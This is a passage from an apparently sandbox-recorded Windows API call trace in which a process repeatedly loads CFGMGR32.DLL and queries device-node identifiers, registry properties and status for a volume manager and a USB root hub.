lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0194.164] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0194.164] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0194.164] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0194.164] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0194.164] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0194.164] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0194.165] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0194.165] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0194.165] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0194.165] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0194.165] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0194.165] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0194.166] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0194.166] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0194.166] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0194.166] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0194.166] malloc (_Size=0x18) returned 0x20abc281ba0 [0194.166] CM_Get_Device_IDA (in: dnDevInst=0xe, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ROOT\\VOLMGR\\0000") returned 0x0 [0194.167] malloc (_Size=0x48) returned 0x20abc27cb20 [0194.167] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x2f7ef8c9, dwHighDateTime=0x1d9eb0c)) [0194.167] SetEvent (hEvent=0x248) returned 1 [0194.170] malloc (_Size=0xd8) returned 0x20abc2867b0 [0194.170] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0194.170] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0194.170] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0194.171] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0194.171] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0194.171] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0194.171] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0194.171] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0194.171] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0194.171] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0194.171] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0194.172] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0194.172] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0194.172] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0194.172] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0194.172] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0194.172] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0194.174] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0194.174] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0194.174] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0194.174] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0194.174] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0194.175] malloc (_Size=0x18) returned 0x20abc282080 [0194.175] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xe, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0194.175] malloc (_Size=0x1a) returned 0x20abc2a9c10 [0194.175] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xe, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2a9c10, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2a9c10, pulLength=0x2dc22fd3f8) returned 0x0 [0194.176] free (_Block=0x20abc2a9c10) [0194.176] malloc (_Size=0x48) returned 0x20abc27cb20 [0194.176] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x2f816269, dwHighDateTime=0x1d9eb0c)) [0194.176] SetEvent (hEvent=0x248) returned 1 [0194.179] malloc (_Size=0x18) returned 0x20abc282000 [0194.179] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abba795e8) returned 0x0 [0194.179] free (_Block=0x20abc282000) [0194.179] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0bdf0 [0194.179] SafeArrayGetDim (psa=0x20abba7fe10) returned 0x1 [0194.179] SafeArrayGetLBound (in: psa=0x20abba7fe10, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0194.179] SafeArrayGetUBound (in: psa=0x20abba7fe10, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0194.179] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba6add0 [0194.179] SafeArrayGetDim (psa=0x20abba7fe10) returned 0x1 [0194.179] SafeArrayGetUBound (in: psa=0x20abba7fe10, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0194.179] SafeArrayGetElemsize (psa=0x20abba7fe10) returned 0x8 [0194.180] SafeArrayGetElement (in: psa=0x20abba7fe10, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0194.180] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc4022a0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0194.181] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba6add0) returned 1 [0194.181] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0bdf0) returned 1 [0194.182] malloc (_Size=0xd8) returned 0x20abc2867b0 [0194.182] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0194.182] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0194.182] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0194.183] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0194.183] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0194.183] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0194.183] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0194.183] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0194.184] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0194.184] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0194.184] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0194.184] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0194.184] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0194.184] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0194.185] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0194.185] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0194.185] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0194.185] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0194.185] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0194.186] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0194.186] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0194.186] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0194.186] malloc (_Size=0x18) returned 0x20abc281d20 [0194.186] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xe, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0194.187] malloc (_Size=0x52) returned 0x20abc2a7000 [0194.187] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xe, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2a7000, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2a7000, pulLength=0x2dc22fd3f8) returned 0x0 [0194.187] free (_Block=0x20abc2a7000) [0194.187] malloc (_Size=0x48) returned 0x20abc27cf80 [0194.187] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x2f816269, dwHighDateTime=0x1d9eb0c)) [0194.188] SetEvent (hEvent=0x248) returned 1 [0194.191] malloc (_Size=0x18) returned 0x20abc281fa0 [0194.191] SafeArrayPutElement (psa=0x20abba805d0, rgIndices=0x2dc22fd4c8, pv=0x20abc4742b8) returned 0x0 [0194.191] free (_Block=0x20abc281fa0) [0194.191] malloc (_Size=0x18) returned 0x20abc281b40 [0194.191] SafeArrayPutElement (psa=0x20abba805d0, rgIndices=0x2dc22fd4c8, pv=0x20abbaf2398) returned 0x0 [0194.191] free (_Block=0x20abc281b40) [0194.191] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d270 [0194.191] SafeArrayGetDim (psa=0x20abba805d0) returned 0x1 [0194.191] SafeArrayGetLBound (in: psa=0x20abba805d0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0194.191] SafeArrayGetUBound (in: psa=0x20abba805d0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0194.191] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba6add0 [0194.191] SafeArrayGetDim (psa=0x20abba805d0) returned 0x1 [0194.191] SafeArrayGetUBound (in: psa=0x20abba805d0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0194.191] SafeArrayGetElemsize (psa=0x20abba805d0) returned 0x8 [0194.192] SafeArrayGetElement (in: psa=0x20abba805d0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0194.192] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba935b0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0194.192] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba935b8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0194.193] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba6add0) returned 1 [0194.193] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d270) returned 1 [0194.193] malloc (_Size=0xd8) returned 0x20abc2867b0 [0194.193] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0194.194] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0194.194] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0194.194] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0194.194] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0194.195] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0194.195] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0194.195] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0194.195] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0194.195] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0194.195] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0194.196] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0194.196] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0194.196] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0194.196] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0194.196] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0194.197] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0194.197] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0194.197] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0194.197] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0194.197] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0194.197] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0194.198] malloc (_Size=0x18) returned 0x20abc281d60 [0194.198] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xe, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0194.272] malloc (_Size=0x48) returned 0x20abc27cb20 [0194.272] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x2f8fa746, dwHighDateTime=0x1d9eb0c)) [0194.273] SetEvent (hEvent=0x248) returned 1 [0194.274] SetEvent (hEvent=0x248) returned 1 [0194.275] free (_Block=0x20abc27cb20) [0194.275] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xe, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0194.275] malloc (_Size=0x48) returned 0x20abc27cb20 [0194.275] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x2f8fa746, dwHighDateTime=0x1d9eb0c)) [0194.275] SetEvent (hEvent=0x248) returned 1 [0194.276] SetEvent (hEvent=0x248) returned 1 [0194.277] free (_Block=0x20abc27cb20) [0194.277] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xe, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0194.277] malloc (_Size=0x48) returned 0x20abc27cb20 [0194.277] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x2f8fa746, dwHighDateTime=0x1d9eb0c)) [0194.278] SetEvent (hEvent=0x248) returned 1 [0194.279] SetEvent (hEvent=0x248) returned 1 [0194.279] free (_Block=0x20abc27cb20) [0194.279] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xe, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0194.280] malloc (_Size=0x48) returned 0x20abc27cf80 [0194.280] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x2f8fa746, dwHighDateTime=0x1d9eb0c)) [0194.280] SetEvent (hEvent=0x248) returned 1 [0194.283] SetEvent (hEvent=0x248) returned 1 [0194.284] free (_Block=0x20abc27cf80) [0194.284] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xe, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0194.286] malloc (_Size=0x48) returned 0x20abc27cb20 [0194.287] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x2f920a82, dwHighDateTime=0x1d9eb0c)) [0194.287] SetEvent (hEvent=0x248) returned 1 [0194.288] SetEvent (hEvent=0x248) returned 1 [0194.288] free (_Block=0x20abc27cb20) [0194.289] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0xe, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0194.289] malloc (_Size=0x48) returned 0x20abc27cf80 [0194.289] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x2f920a82, dwHighDateTime=0x1d9eb0c)) [0194.289] SetEvent (hEvent=0x248) returned 1 [0194.292] SetEvent (hEvent=0x248) returned 1 [0194.292] free (_Block=0x20abc27cf80) [0194.292] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0xe, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0194.293] malloc (_Size=0x48) returned 0x20abc27cb20 [0194.293] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x2f920a82, dwHighDateTime=0x1d9eb0c)) [0194.293] SetEvent (hEvent=0x248) returned 1 [0194.294] SetEvent (hEvent=0x248) returned 1 [0194.294] free (_Block=0x20abc27cb20) [0194.295] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xe, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0194.295] malloc (_Size=0x48) returned 0x20abc27cb20 [0194.295] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x2f920a82, dwHighDateTime=0x1d9eb0c)) [0194.295] SetEvent (hEvent=0x248) returned 1 [0194.300] SetEvent (hEvent=0x248) returned 1 [0194.300] free (_Block=0x20abc27cb20) [0194.300] CM_Get_Device_IDA (in: dnDevInst=0xf, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="USB\\ROOT_HUB\\4&B24102A&0") returned 0x0 [0194.301] malloc (_Size=0x48) returned 0x20abc27cf80 [0194.301] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x2f946e35, dwHighDateTime=0x1d9eb0c)) [0194.301] SetEvent (hEvent=0x248) returned 1 [0194.302] SetEvent (hEvent=0x248) returned 1 [0194.302] free (_Block=0x20abc27cf80) [0194.303] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xf, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0194.303] malloc (_Size=0xa0) returned 0x20abc2831b0 [0194.303] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xf, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2831b0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2831b0, pulLength=0x2dc22fd3f8) returned 0x0 [0194.304] free (_Block=0x20abc2831b0) [0194.304] malloc (_Size=0x48) returned 0x20abc2a8190 [0194.304] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x2f946e35, dwHighDateTime=0x1d9eb0c)) [0194.304] SetEvent (hEvent=0x248) returned 1 [0194.304] malloc (_Size=0x18) returned 0x20abc281dc0 [0194.304] SafeArrayPutElement (psa=0x20abba803d0, rgIndices=0x2dc22fd4c8, pv=0x20abc4a2cd8) returned 0x0 [0194.304] free (_Block=0x20abc281dc0) [0194.305] malloc (_Size=0x18) returned 0x20abc281cc0 [0194.305] SafeArrayPutElement (psa=0x20abba803d0, rgIndices=0x2dc22fd4c8, pv=0x20abc4a2cd8) returned 0x0 [0194.305] free (_Block=0x20abc281cc0) [0194.305] malloc (_Size=0x18) returned 0x20abc281ba0 [0194.305] SafeArrayPutElement (psa=0x20abba803d0, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0194.305] free (_Block=0x20abc281ba0) [0194.305] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d670 [0194.305] SafeArrayGetDim (psa=0x20abba803d0) returned 0x1 [0194.305] SafeArrayGetLBound (in: psa=0x20abba803d0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0194.305] SafeArrayGetUBound (in: psa=0x20abba803d0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0194.305] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba6add0 [0194.305] SafeArrayGetDim (psa=0x20abba803d0) returned 0x1 [0194.305] SafeArrayGetUBound (in: psa=0x20abba803d0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0194.305] SafeArrayGetElemsize (psa=0x20abba803d0) returned 0x8 [0194.306] SafeArrayGetElement (in: psa=0x20abba803d0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0194.306] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93ad0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0194.306] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93ad8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0194.306] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93ae0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0194.307] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba6add0) returned 1 [0194.307] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d670) returned 1 [0194.308] SetEvent (hEvent=0x248) returned 1 [0194.309] free (_Block=0x20abc2a8190) [0194.309] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xf, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0194.309] malloc (_Size=0x48) returned 0x20abc27cf80 [0194.309] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x2f946e35, dwHighDateTime=0x1d9eb0c)) [0194.309] SetEvent (hEvent=0x248) returned 1 [0194.310] SetEvent (hEvent=0x248) returned 1 [0194.310] free (_Block=0x20abc27cf80) [0194.310] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xf, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0194.374] malloc (_Size=0x48) returned 0x20abc27cf80 [0194.375] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x2f9df606, dwHighDateTime=0x1d9eb0c)) [0194.375] SetEvent (hEvent=0x248) returned 1 [0194.379] malloc 